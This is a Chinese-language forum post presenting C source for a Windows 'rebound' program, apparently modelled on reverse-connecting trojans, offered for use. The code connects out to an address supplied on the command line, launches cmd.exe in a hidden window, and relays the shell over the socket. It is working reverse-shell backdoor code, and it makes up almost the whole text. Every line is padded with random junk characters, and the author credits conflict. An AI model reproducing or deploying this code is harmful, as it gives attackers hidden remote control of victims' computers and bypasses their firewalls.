这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x_Y03__/
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/* ============================== +S/OMkC
Rebound port in Windows NT Egy#_ RT{
By wind,2006/7 +9EG6"..@H
===============================*/ [_kis
#include :(7icHa
#include Cn6<I {`\
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#pragma comment(lib,"wsock32.lib") rjk{9u1a"
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void OutputShell(); LC8&},iu
SOCKET sClient; #R^^XG`1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2h=QJgpCG
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void main(int argc,char **argv) {,;R\)8D
{ :{7gZ+*
WSADATA stWsaData; nulLK28q
int nRet; LR`]C]
SOCKADDR_IN stSaiClient,stSaiServer; *z?Vy<u G
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if(argc != 3) 7bk=D~/nSg
{ GN0s`'#"3%
printf("Useage:\n\rRebound DestIP DestPort\n"); yyZs[5Q
return; /Py1Q
} qnO>F^itF
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WSAStartup(MAKEWORD(2,2),&stWsaData); #{f%b,.yxt
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d@b" ~r}
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stSaiClient.sin_family = AF_INET; 5EX
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stSaiClient.sin_port = htons(0); b+/z,c6w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yq6Gyoi<
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ja2BK\"1:
{ [H4)p ,R
printf("Bind Socket Failed!\n"); Crg@05Z
return; P >>VBh?
} @sPuc.
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stSaiServer.sin_family = AF_INET; r)]8zK4;=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9YQYg@+R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H*KZZTKd
d,XNok{
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H$M{thW
{ cLm|^j/
printf("Connect Error!"); wdMVy=SS
return; Bw Cwy
} &@U)
OutputShell(); l>D!@`><I
} VRQD
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void OutputShell() Ljs4^vy<J
{ :k/Z|
char szBuff[1024]; .~AQxsGH
SECURITY_ATTRIBUTES stSecurityAttributes; Y'U]!c9
OSVERSIONINFO stOsversionInfo; E'^$~h$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +@mgb4_
STARTUPINFO stStartupInfo; @AfC$T
char *szShell; Lk`,mjhk
PROCESS_INFORMATION stProcessInformation; Qj3l>O
unsigned long lBytesRead; 4?',E ddo
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d`sIgll&n
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XCyAt;neon
stSecurityAttributes.lpSecurityDescriptor = 0; I7]qTS[vg
stSecurityAttributes.bInheritHandle = TRUE; P
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m#|h22^H
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J`'wprSBb
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .vov ,J!Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VpyqVbx1
stStartupInfo.wShowWindow = SW_HIDE; qk_YFR?R
stStartupInfo.hStdInput = hReadPipe; ['_W<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CT[CM+
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GetVersionEx(&stOsversionInfo); FB }8
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switch(stOsversionInfo.dwPlatformId) c+N\uG4
{ !n`Y^
case 1: >o4Ih^VB
szShell = "command.com"; n _eN|m?@
break; /c!@ H(^)
default: s0/y> ok
szShell = "cmd.exe"; Q7(I'
break; XGSgx
} WKB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LB/1To
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send(sClient,szMsg,77,0); It8s#o q8
while(1) -`ss7j&b3
{ Co^GsUJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0I7 r{T
if(lBytesRead) cL^r^kL("
{ Tu7}*vsR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .q5WK#^
send(sClient,szBuff,lBytesRead,0); eeCrHt4;
} fYiof]v@_m
else :89AYqT"
{ Rd,5&X$
lBytesRead=recv(sClient,szBuff,1024,0); qrkJ:
if(lBytesRead<=0) break; 1JY3c
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n}3fItSJ
} y1t,i.
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} bq"dKN`
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return; IP+.L]S
}